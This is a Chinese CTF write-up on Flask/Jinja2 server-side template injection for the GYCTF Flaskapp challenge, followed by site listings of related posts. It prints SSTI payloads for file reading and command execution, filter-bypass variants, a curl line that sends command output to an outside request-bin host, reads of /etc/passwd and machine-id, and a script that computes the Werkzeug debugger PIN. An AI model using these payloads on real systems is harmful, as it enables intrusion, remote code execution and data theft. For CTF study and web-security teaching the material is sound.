题目复现传送门

学习链接:

找了个师傅的blog先学习一下基础的flask知识

https://www.freebuf.com/column/187845.html(从零学flask)

简单记录一下:

flask 中渲染的方法有两种:

render_template
render_template_string

两者的区别:

render_template()渲染指定的文件

render_template_string()渲染指定的字符串

不正确的使用render_template_string()可能会引发SSTI

模板:

flask使用jinja2作为渲染引擎,在网站的根目录下templates文件夹用来存放html文件(模板文件)

{{}}在jinja2中作为变量包裹标识符,不仅可以传递变量同时也可以执行简单的表达式

SSTI文件读取/命令执行/文件包含

通过python的对象的继承来一步步实现文件读取和命令执行!!!!!!!!!!!!!!!!!!!!

找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块

重要的魔术方法

__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法(找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的))
__globals__ 对包含函数全局变量的字典的引用
__dict__ 保存类实例或对象实例的属性变量键值对字典
__bases__ 返回类型列表
__builtins__查看其引用

下面记录内容转自!!!!!!!!!!!!!!!!!!!!!:

浅析SSTI(python沙盒绕过)

感谢师傅的blog讲的很详细!!!!!!

攻击流程(以文件读取举例):

获取基本类-->获取基本类的子类-->找到重载过的__init__类-->查看其引用__builtins__(builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块)-->这里会返回dict类型,寻找keys中可以调用的函数,直接调用,使用keys中的file以实现读取功能

''.__class__.__mro__[].__subclasses__()[].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()

写文件的话就是把后面的read改为write即可(中括号中的数字是“引索”)

命令执行:...........

绕过方法:

1.绕过中括号和     .      :只过滤[ ]时:pop()函数,若也过滤     .   则使用JinJa2函数|attr()

''.__class__.__mro__.__getitem__().__subclasses__().pop()('/etc/passwd').read()
request.__class__改成request|attr("__class__")

2.过滤引号:request.args属性 (是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤)

{{().__class__.__bases__.__getitem__().__subclasses__().pop()(request.args.path).read()}}&path=/etc/passwd

3.过滤双下划线:request.args属性,request.values是利用POST传参

GET:
{{ ''[request.value.class][request.value.mro][][request.value.subclasses]()[]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__

4.过滤关键字:base64编码绕过,__getattribute__(使用实例访问属性时,调用该方法)

例如过滤__class__

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[]("/etc/passwd").read()}}

字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[]("/etc/passwd").read()}}

5.过滤 {{

使用 {% if ... %}1{% endif %}

{% if ''.__class__.__mro__[].__subclasses__()[].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}{% endif %}

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出

{% if ''.__class__.__mro__[].__subclasses__()[]('/tmp/test').read()[:]=='p' %}{% endif %}

相关题型:科来杯-easy_flask,QCTF-Confustion1

学习:

探索Flask/Jinja2中的服务端模版注入(一)

探索Flask/Jinja2中的服务端模版注入(二)

flask/jinja2 SSTI入门

Server-Side Template Injection

第二种方法

pin码:

这个题还牵扯到pin码

什么是pin码:  关于PIN码,是在Flask开启debug模式时存在的一个交互shell的key,输入PIN码就可以进入交互shell

爆破pin码:

由于生成PIN码的机制,可以达到脚本爆破效果,只要已知username,machine-id的等等6个参数,就可以爆破PIN码。还需要一个文件读取点做为跳板
//随后补不//
 
 

题目复现:

方法一:SSTI 在decode界面提交base64编码过的payload可以触发SSTI,
看源码可以发现是py3.7的环境,需要Fuzz我们可以使用的类
这里按着师傅的思路,使用wrap_close(),然后再调用popen()
查看目录:
{{ [].__class__.__base__.__subclasses__()[].__init__.__globals__['po'+'pen']('ls').read()}}

读取flag(flag被过滤,用fla\g绕过)

{{ [].__class__.__base__.__subclasses__()[].__init__.__globals__['po'+'pen']('cat  this_is_the_fla\g.txt').read()}}

在BUU重新复现的时候发现,这个payload用不了,因为popen被ban了,我们这样也没有绕过去,那就考虑文件读取,但是不知道flag文件位置啊,所以只有第二种构造pin值了

方法二:

官方wp给出了思路

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

构造pin值的关键值::

* . 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb

* . modname 一般不变就是flask.app

* . getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变

* . flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为 /usr/local/lib/python3./site-packages/flask/app.py

* .当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address eth0为当前使用的网卡:

* .最后一个就是机器的id。

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。

对于docker机则读取/proc/self/cgroup

学习思路:

https://www.gem-love.com/ctf/1669.html#i-4

先贴个师傅的脚本:

脚本出处:https://xz.aliyun.com/t/2553

import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
] private_bits = [
'2485377957891',# address
'e96996169e90130c1b6e2b3fb9af5b39abcacc1b1f84211a58e27854c3a1219e'# machine-id
] h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)

GYCTF Flaskapp[SSTI模板注入 ]的更多相关文章

  1. XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip

    转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...

  2. SSTI(模板注入)

    SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...

  3. 2018护网杯easy_tornado(SSTI tornado render模板注入)

    考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...

  4. SSTI(服务器模板注入)学习

    SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...

  5. SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1

    ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...

  6. 1. SSTI(模板注入)漏洞(入门篇)

    好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...

  7. CTF SSTI(服务器模板注入)

    目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...

  8. SSTI服务端模板注入漏洞原理详解及利用姿势集锦

    目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...

  9. Flask(Jinja2) 服务端模板注入漏洞(SSTI)

    flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...

随机推荐

  1. DirectX11 With Windows SDK--30 图像模糊、索贝尔算子

    前言 到这里计算着色器的主线学习基本结束,剩下的就是再补充两个有关图像处理方面的应用.这里面包含了龙书11的图像模糊,以及龙书12额外提到的Sobel算子进行边缘检测.主要内容源自于龙书12,项目源码 ...

  2. python函数中的参数类型

    python函数中的参数 动态获取函数的参数 python的函数类型详解

  3. Linux系统之网络文件共享与数据实时同步实践

    1.实现基于MYSQL验证的vsftpd虚拟用户访问 首先环境说明,数据库服务器是192.168.0.10,vsftpd服务器是192.168.0.30 1)安装vsftpd [root@test-c ...

  4. GO语言slice详解(结合源码)

    一.GO语言中slice的定义 slice 是一种结构体类型,在源码中的定义为: src/runtime/slice.go type slice struct { array unsafe.Point ...

  5. TCP加速方式

    使用windows scaling TCP Extensions for High Performance, RFC1323,https://www.ietf.org/rfc/rfc1323.txt ...

  6. c++头文件包含 #ifndef ##pragma once

    2013-04-14 17:03 (分类:计算机程序) 烦死了,这种垃圾小问题很多,你又必须要知道.......在编写c++程序时,会编写多个类或者多个cpp文件,免不了要多次使用include包含头 ...

  7. Python 实现转堆排序算法原理及时间复杂度(多图解释)

    原创文章出自公众号:「码农富哥」,欢迎转载和关注,如转载请注明出处! 堆基本概念 堆排序是一个很重要的排序算法,它是高效率的排序算法,复杂度是O(nlogn),堆排序不仅是面试进场考的重点,而且在很多 ...

  8. tensorflow打印可用设备列表

    from tensorflow.python.client import device_libprint(device_lib.list_local_devices())

  9. Arm开发板+Qt学习之路

    从2015.11.13日开始接触arm开发板,开始学习Qt,到现在已经四个月零17天了,从一个拿到开发板一无所知的小白,到现在能够在开发板上进行开发,有付出有收获. 之前一直没有时间将这个过程中的一些 ...

  10. c语言double类型的输入

    double输入用 %lf ,而不能用 %f 今天在使用double类型输入时先用了 scanf("%lf", &a),结果以%f输出的时候都是0,以%g,%e输出似乎是最 ...